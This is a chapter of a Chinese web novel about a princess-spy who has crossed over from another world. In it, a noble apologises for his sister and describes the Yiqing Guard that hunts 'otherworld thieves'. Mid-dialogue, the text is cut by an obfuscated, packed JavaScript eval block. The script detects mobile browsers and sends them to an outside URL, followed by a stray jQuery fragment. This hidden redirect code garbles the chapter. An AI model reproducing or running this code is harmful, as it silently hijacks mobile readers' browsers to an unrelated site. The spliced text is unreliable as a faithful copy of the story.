22. 陈益
作品:《奈何公主是细作》 任彬和任煜对视一眼,都想到了今日上午还在说去皇寺一探究竟的事。
除此之外,皇寺就在凌都之外,去皇寺,任彬就能出凌都,就能找机会去魂穿地点探查一番。
任彬当机立断,柔声说道:“枢姐姐,我害怕,皇寺那么灵验,我也想去。”
任煜附和一番,“最近实在是不太平了,我看求神保平安也是极好的。”
任平无可无不可。
任枢颔首,思忖道:“几位妹妹说得在理,不如明后日就去罢,你们让人打点行装,明日一早就出发。”
众人应是。
这时,驿馆仆从前来禀报,在阶下候着。
任枢让肃显出去问是何事。
不久,肃显回来禀道:“禀枢公主,是陆珏前来替妹请罪。”
“请罪?这能抵彬妹妹受的伤吗?”任煜不满道。
任彬瞧了任煜一眼,低声道:“我无妨的,还是悠姐姐伤得重些。”任彬知道任煜是为她打抱不平,但任枢刚才对她关心太过,看得她毛骨悚然,她现在只想降低存在感,希望任煜莫要再提她了。
任悠还未推辞,任枢已经颔首起身,领着任彬四人前往厅堂。
陆珏见着从后院转出来的人,迎上前行礼,“见过几位公主。”尤其在坐在轮椅上的任彬身上多瞧了一眼。
任枢道:“免礼。”声音淡淡的。
几人各自落座,侍女奉过茶退下,陆珏也不尴尬,站起身拱手,歉然道:“舍妹任性,冲撞几位公主了,在下给几位公主赔罪了。”
“任性冲撞?”任煜对陆珏的轻描淡写十分不满,哼道,“我看是蓄意谋杀吧。”
陆珏连忙朝任煜一躬身:“煜公主此言差矣,舍妹万万不会如此行事,舍妹颇得我父宠爱,刁蛮任性是有,但万万不会行此心狠手辣之事啊。”姿态摆得相当低。
“那她害我……”任煜不由自主看向任彬,任彬朝她摇了摇头。
任彬还没从任枢刚才对她的殷切关心中走出来,她不知道任枢怎么会突然这么关注她,她并不认为这是好事。
任煜改了话锋:“害我悠姐姐摔伤了,又怎么说?”
陆珏朝任煜、任悠先后拱了拱手,歉然道:“好说好说,我带了府上最好的医者来。”朝阶下招了招手,上来一个身背医箱的老者,“和亲使团中自是不缺好医者,我们也只是想略尽些绵薄之力,以赎舍妹之罪。”
任煜才不接受,并不答话。
陆珏继续道:“在下定会好好管教舍妹,教她以后谨言慎行。”说完,又朝任枢等人躬了躬身。
任彬并不信她的话,看陆瑶行径,怕在凌都作威作福也不是一日两日了。
若真要管教陆瑶,又怎会只陆珏来请罪?怕不是做惯了替陆瑶收拾烂摊子的事了。
也难怪陆瑶横行凌都了,家里父兄都这样上赶着宠着。
任枢不罢可否。
陆珏又朝阶下招了招手,是那几个上午被她们扣下陆瑶仆从。
原来是任枢从宫里回来,遣人扭送他们去承恩公府,不巧路上遇到往驿馆来的陆珏一行人,见是承恩公府的公子,便在路上交割了这干仆从。
“这些刁仆也一并交给几位公主处置。”陆珏道。
被押上来的仆从悚然变色,呼号道:“三公子饶命啊,我们也是听小姐命令行事。”
陆珏笑抬手,押解的护卫堵住仆从的嘴。
他笑着解释道:“这起子刁仆平日怂恿舍命胡作非为,到这关头还不知悔改。”
任枢招呼陆珏落座饮茶,说道:“也罢,慈兄难为,陆三公子的歉意我们收到了。”也不知道任枢是不是想起她的兄长,心软之下,做出这样的决定。
陆珏才挨着椅面,便站起身,朝着任枢躬身拱手道:“枢公主,大人大量,在下替舍妹谢过了。”说完,又朝阶下招了招手,“在下还给几位公主带了些薄礼,望几位公主笑纳。”
任枢留下陆珏送来的礼物,让他把医者和仆从尽数带回去。
不提又是送人又是送礼的,只陆珏亲自登门请罪,任枢就要念在陆珏在东凌境内一路相护,眼下既然要揭过此事,留下礼物也能让陆珏放心。
这桩事告一段落,陆珏长舒口气,坐回椅上,端起茶来尝了一口,赞道:“此茶甚好,鲜爽甘醇。”
“不过是寻常茶饼,陆三公子既然喜欢,便带一些回去尝尝。”任枢说道,吩咐肃显去准备。
“在下却之不恭。”陆珏说道,喝了一口茶,提起昨日的事,关心道,“听闻昨日公主车架在东市恰好遇上一清卫执行任务,彬公主还被贼子劫持了。”说完,朝任彬看去,“这是伤了腿脚了?”
任彬轻轻颔首。
“异世贼子真的是越来越猖狂了!”陆珏不平道。
任煜重重搁了茶盏,不满道:“这可不是异世贼子搞出来的伤,是你们一清卫!”
陆珏恍然。
“几位公主初来我们大凌,大概有所不知啊。”陆珏端起茶尝了一口,将茶盏放回桌上,说道,“这一清卫啊,由我们国师创立和统领,专司抓捕、处置异世贼子。”
“哦?”听到陆珏的话,任彬打起精神来,心想,陆珏作为东凌人、东凌权臣之子应该知道更多信息。
陆珏见任彬感兴趣,接着往下说:“国师自我们大凌开国以来历经数朝,深受皇室倚重。”说到此处,他压低声音道:“恰恰是因为国师有通天之能,在七十年前不仅得上天启示我大凌高祖陛下乃真龙之命,还得到了一条关于我大凌国祚的警示。”
——异世出,东凌变。
这条警示,任彬知道,夜里开会才刚提到。
倒是任煜听得津津有味,催促陆珏:“陆三公子,快说警示了什么?”
“异世出,东凌变。”陆珏也不卖关子,娓娓道来,“直到十八年前,国师再次得到上天警示,异世已出,东凌即便,一清卫应警而生。”
“异世出?”任彬问陆珏道,“难不成一清卫要抓异世而来之人?”
“难不成昨日那大汉就出自异世?”任煜也好奇,紧跟着发问。
任悠和任平也略伸直脖颈,等着陆珏讲述,任枢并不信怪力之言,端着茶细细品尝。
“那是当然,一清卫抓的就是异世贼子,顾名思义,就是来自异世作乱之人。”陆珏道。
“昨日那大汉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960309|192111||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看起来和我们并无不同,一清卫怎么就知道他出自异世?”任彬微微眯眼,惊奇问道。
等着陆珏回答,任彬心中却十分忐忑不安,她确确实实是穿越而来的,按陆珏先前的说法,她就是出自异世之人。
再说,她是细作,对东凌而言,也算作乱之人。
异世贼子,说的是谁?说的就是她这种人。
陆珏尝一口茶,说道:“一清卫自有一套法子,在下不在一清卫供职,不得而知了。”
看着任彬有些失望的神色,陆珏压低声音,神神秘秘说道:“都在传,国师有通天之能,他精挑细选的一清卫也多多少少也有神通在身,有的是先天禀赋,有的是传于国师,自能分辨哪个是异世贼子?”
对此,任彬不信,如若一清卫真有此等神通,她见伍棋两次,怎就没有当场将她拿下?还要索拿她回卫所查验?
若说国师有通天之能,这还有待考究,一清卫只怕只是一群武力值强的普通人。
“传闻可有说一清卫都是怎么分辨的?”任煜好奇发问,任悠和任平也目露好奇。
陆珏逗她们道:“许是异世贼子路过,一清卫心中便会响起警报罢。”
任煜三人若有所思。
任枢放下茶盏,问道:“一清卫处理异世贼子,我怎么听闻连一品亲王的侧妃都杀呢?亲王侧妃怎么可能作乱?”
见任枢终于感兴趣,陆珏自要殷勤解释一番,只是事涉大凌秘闻,陆珏不好多说,只能道:“虽说是异世贼子,但一清卫行事谨慎,只要是出自异世都会抓捕查验的,不拘于身份地位。毕竟相比东凌国祚,一品亲王侧妃并不算什么。”
何须真的出自异世,任彬夜里亲身经历,只要有人举报你出自异世,就会被抓捕查验。
行事谨慎中透着癫狂。
任枢颔首,并不因没问出什么而不满,只是更让她认为一清卫扯着上天警示的幌子滥杀,说到底只不过是皇室的刀罢了。
几人闲叙凌都风物,时间不知不觉便过去了。
陆珏临走前笑道:“几位公主若有差遣,尽管到承恩公府唤在下,在下自当鞍前马后。”带着宫女包好的茶饼走了。
坐了一下午,任彬等人也乏了,该说的也说得差不多了,便各自回去休息。
不久,穆清便领着陈益来见任枢。
“属下见过枢公主。”陈益躬身行礼。
任枢让他起身,“不必多礼。”
陈益直起身禀道:“我们的人马已经悉数入都,基本安置在公主府,只我引了两队护卫来驿馆。我们从大燕带来人员、财物也重新造册登记,册子已经交给穆清了。”
穆清立在任枢身后,俯身将册子呈给任枢。
任枢接过册子,粗略翻看几处,说道:“做得不错。”将册子递回给穆清,问道:“都城外亡者都收殓好了吗?”
“我们带来的人员共计死亡五十二人,都在道旁就地掩埋了。刺客的尸身也由凌都刺史派人就地掩埋。”陈益禀道。
任枢颔首道:“伤亡人员家属都要抚恤,家中只剩老幼者加倍抚恤,你看着办。”
陈益应是,说道:“属下还有一事要禀报。”

